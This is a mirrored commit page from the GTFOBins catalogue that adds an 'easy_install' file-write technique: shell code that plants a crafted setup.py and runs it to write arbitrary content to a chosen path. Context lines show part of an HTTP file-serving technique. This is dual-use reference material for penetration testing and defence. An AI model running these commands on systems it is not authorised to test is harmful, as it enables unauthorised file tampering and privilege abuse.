mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-13 07:19:08 +01:00
Add easy_install file-write
This commit is contained in:
parent
0e639583d6
commit
c2224a6b49
@ -36,6 +36,13 @@ functions:
|
|||||||
else: import SimpleHTTPServer as s, SocketServer as ss
|
else: import SimpleHTTPServer as s, SocketServer as ss
|
||||||
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
|
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
|
||||||
easy_install $TF
|
easy_install $TF
|
||||||
|
file-write:
|
||||||
|
- description: It needs an absolute local file path.
|
||||||
|
code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo "import os;
|
||||||
|
os.execl('$(whereis python)', 'python', '-c', 'open(\"/tmp/file_to_write\",\"w+\").write(\"DATA\")')" > $TF/setup.py
|
||||||
|
easy_install $TF
|
||||||
file-read:
|
file-read:
|
||||||
- description: The read file content is wrapped within program messages.
|
- description: The read file content is wrapped within program messages.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user